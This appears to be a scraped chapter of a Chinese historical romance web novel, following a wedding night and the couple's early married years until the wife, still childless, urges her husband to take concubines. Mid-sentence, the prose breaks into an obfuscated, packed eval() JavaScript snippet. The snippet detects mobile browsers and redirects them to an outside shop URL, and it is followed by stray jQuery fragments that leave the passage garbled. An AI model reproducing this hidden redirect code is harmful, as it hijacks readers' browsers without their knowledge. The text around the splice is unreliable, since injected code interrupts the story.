馄饨一口一口送入嘴中。
软薄的面皮包裹着鲜肉馅,汤底是吊的鲜骨汤很是鲜美入味,既清淡而不寡淡。
也许是饿得狠了,许惜杉觉得这一碗馄饨竟然美味得胜过万千珍味。
许惜杉用膳温吞,时景洗漱完穿着寝衣出来她还在吃。
时景并未催促出声,眼底却有笑意弥漫。
实在很像他那只狸奴,笨笨的,缓缓的。
眼见一碗馄饨即将见底,时景轻声问道:
“还要吗?”
许惜杉看着他嘴巴鼓鼓,摇了摇头。
还好寝衣不是玄色。
“叫水。”
随后下人们进了净室收拾,不一会儿又抬着热水进去。
恰好许惜杉吃完。
“你真体贴。”许惜杉认真道。
时景不置可否。
许惜杉在梳妆台前坐下,抬手拆着凤冠发髻。
时景身子一僵,沉默着没说话,只看着那道倩影缓慢笨拙地在头上摸索动作着。
其实此刻他应该如她所说的体贴一般,叫人进来帮帮她。
可他不想。
为什么呢?
难道从心里他就是个恶劣的人吗?
也有可能。
许惜杉拆凤冠拆了多久,他就看了多久。
直到她终于把那沉重华贵的枷锁卸下,开始通发,他才叫人进来换水。
过了这么久水应该一点温度也没了。
下人顺从的照主人家命令动作着,沉默恭谨到有些死气沉沉。
直到整个身子浸入匍匐着热气的水中,许惜杉才觉得整个人活了过来。
放松了下来,任性地放纵自己遨游在这份舒适中。
突然外边传来似带催促的,敲击桌面的声音。
许惜杉轻笑着,觉得这位世子是有点可爱的。
脑海闪过他将鱼放进自己的鱼篓时的样子,与那块她珍惜的双鱼玉佩。
曾经认为的小气不喜,现在都变成了笨拙的可爱。
吐出一口气,许惜杉起身迈出浴桶。
拿起巾子将全身擦干,穿上备好的寝衣,一步一步迈出净室,闯进时景的眼中。
时景已经在桌边坐了许久。
当然,不及许惜杉在屋中等待的三分。
许惜杉抿着唇,小心踱步到桌边坐下。
看着时景将合卺酒倒入两个酒杯中,忍不住轻笑一声。
时景将其中一杯递给她,问道:“笑什么?”
许惜杉是杏仁状的双眸,笑起来像个月牙,那双似乎盛了水的眼睛大而润。
而随着她的笑容显现出来的是一双梨涡,还有一对从未见过的尖尖的虎牙。
时景记不清他曾经见没见过她的笑,但这是他第一次这么清楚的看见。
她笑起来真的很美,很甜,好像要把他迷醉了。
明明方才还一直那么清醒。
“你说,别家夫妻成婚也像我们一般穿着寝衣喝合卺酒吗?”
时景愣住了,看了下身上的寝衣无言。
只将另一杯合卺酒端起递了过来。
同色寝衣的两人,举杯,伸手,紧贴着手交着手饮下合卺酒。
结发为夫妻,
恩爱两不疑。
许惜杉闭上眼,在心里默念着。
时景牵着许惜杉的手,走到床前。
床铺上的花生红枣已经不知何时被下人收拾掉了,换上了新的。
许惜杉沉默的像个木头人一般,由着时景牵引,躺在他的身侧。
唯一与木头人的区别就是那卸了胭脂也爬满霞色的脸颊,跟仿佛熟透了的耳朵尖吧。
时景侧身,头由一只支起的手撑着。
垂眼一丝一寸描绘着她的脸颊,眉,眼,鼻,嘴,和那双红得快滴血的耳朵。
不言不语,一动不动,只静静地看着。
片刻后,许惜杉终于忍不住瞪着他。
秀气的柳眉蹙起,猫眼儿一般控诉着他。
时景俯身靠近。
许惜杉慌张闭上眼,那温软的触感却是落在她阖下的眼皮上。
温热的,温柔的,一点都不像他。
好像又是像的。
“世子……”
“我们已经成婚了。”
时景的声音低沉不似从前那般冷冽,许惜杉了然却害羞。
憋了好半天才低声吐出一句:
“夫君。”
时景轻轻笑着,许惜杉趁机抬眼,撞进那双好似从来都寂静深远的双眸中。
此刻那双眼眸却在她眼前仿佛盛开的昙花般绽放光彩,原来他笑起来,眼睛都会眯起来,一点都不冷也不凶。
却在她抬眼后又骤然收了回去。
果真是昙花一现。
时景的语气依旧温和,“唤我时景也行。”
许惜杉沉默着,看着他的眼睛,望进很深很深的地方。
轻声道:
“阿景。”
时景这次没笑,只是眼底有着显而易见的温柔。
清淡应了一声,俯身亲了下来。
夜深露重,鸟儿趁着夜色朦胧穿梭云朵之间。
初时飞得缓而慢,享受着云朵软而带着水汽的湿润,观赏着沿途风景。
夜渐深,月亮不知不觉中都渐沉,鸟儿着急起来,顾不得再欣赏风景,飞速穿梭过云层。
不知何时,渐落起雨来,淅淅沥沥将鸟儿翅膀都打得湿透。
云儿透出绯色,颤着似要散架。
屋内,却是一片热气腾腾。
时景怀抱着许惜杉,目光温柔,久久停留在她的脸上。
许惜杉却羞赧,着急地用手遮住他的眼睛,不想叫他再看。
一声轻笑,时景将遮在眼上的手覆住。
牵引往下,看着她,啄了啄她的手。
“睡吧。”
-
刚成婚后的生活平淡又幸福,圣上没有放时景回封地的意思,还给时景派了个差事。
正五品按察司佥事的实权官职,在众人看来就是圣宠正浓。
许惜杉的日子也跟着非常滋润。
本以为成婚后就要跟着时景离开京城,心中还暗自忐忑难过许久。
毕竟婚后不如闺中,一旦走了也再没理由回孔府了,结果竟意外能留在京城。
府中正经主子就时景、许惜杉二人。
时景虽还是常常没什么笑脸,但对她还是温和的,也不拘着她。
平日想出府或是去孔府都是可以的,这桩婚事远超许惜杉的期盼了。
正值夏日炎炎,许惜杉怕热于是屋中摆了两个大冰鉴,而她则半倚靠在美人榻上,看着春兰搜集来的话本。
有些离谱到发笑的话本看来真的别有趣味。
旁边摆了个小桌
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17702825|208240||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,桌上是一盘井水镇过的西瓜,切成适口的小块。
悠哉地叉了一块送入嘴中,许惜杉被书中剧情逗得笑出声。
春兰也贴在一旁跟着看,嬉笑道:
“夫人如今真是苦尽甘来了,原本我担心会不会去封地被那安王与继安王妃刁难,如今竟能留京,世子又对您一片痴心,日子真是蜜里调油……”
许惜杉羞红了脸拍了这个胆大又嘴无遮拦的丫头,呵斥道:
“越来越没规矩了!”
春兰手捂着嘴,眼睛眨巴眨巴的。
许惜杉怒瞪了春兰一眼,心里却有些认同。
时景平日除了上值,再出门也就是与方宥礼一块,不会去什么乱七八糟的地方。
除了整天冷着个脸跟块冰丝的也什么陋习,对于她送去的糕点汤水也都会收下……
心里泛起甜蜜涟漪。
虽时景平日话并不多,也不会说什么情话,但从一些细节许惜杉是能感受到他的情意的。
从下人对她的敬重,和他对她的宽容。每人的性格脾性不同,既然与时景成婚她也不能叫时景从冰山变火山不是?
时景待她是不同的。
日子像水一样流过,这样平常又温馨的生活转眼就过了两年。
这两年随着时间,许惜杉原本因娘亲遭遇的警惕也消逝了,在她看来两人是情意绵绵、情意相投。
这段她算计来的婚事得了一颗硕果,这两年时景一如既往,尽管她迟迟未有孕也从未提过纳妾,也未对她说过什么催促施压的话。
谁能拒绝仅为自己一人而化冰的冰山。
许惜杉无法对这么一个尊贵俊美,叫她过着舒适而温馨的生活又唯独对她侧目的男子不动心。
她已经沉溺其中,她的心不知何时已完全被时景所牵动,无时无刻。
带着她都从未察觉的隐晦自卑,许惜杉待时景越来越好,越来越喜欢粘着他,叫他陪伴身侧。
时景就是她的全世界。
从不喜庖厨到乐于在或热气熏天,或沉闷的屋中亲自为夫君做些糕点汤水。
荷包腰带缝了一件又一件。
到时景下值之时便期待着望向门口,等待着那个高大的身影出现在眼前。
她不知道她的眼神是那么亮,那么浓厚,情意都从双眸溺出。
又一年。
许惜杉又看过数不尽的大夫,甚至太医都请过几个,两人身子皆康健肚子就是没动静。
许惜杉再也无法不在意了,一日比一日沉寂。
她心中时景对他的情意她自是无疑,她待时景也十分用心,真心一片,但没有子嗣……
她无法肯定时景会为她做到此地步。
且他是世子。
为什么。
许惜杉心阵阵闷痛,她想跟时景长厢厮守,也认为时景是那个可以与她一生一世一双人之人。
这几年也足以证明是这样的……
痛意快讲许惜杉淹没了,眼泪在眼眶盈满,又被克制地压抑。
夜晚,屋中。
因为时景不喜睡时烛火燃着,此时的帐中一片漆黑。
睁眼都是一片空茫。
许惜杉开口:
“阿景纳几位妾进府吧。”
静。
许惜杉等待着时景的宣判。
期待着那微乎其微,好像不可能的赏赐,期待命运再一次对她摇摆垂怜。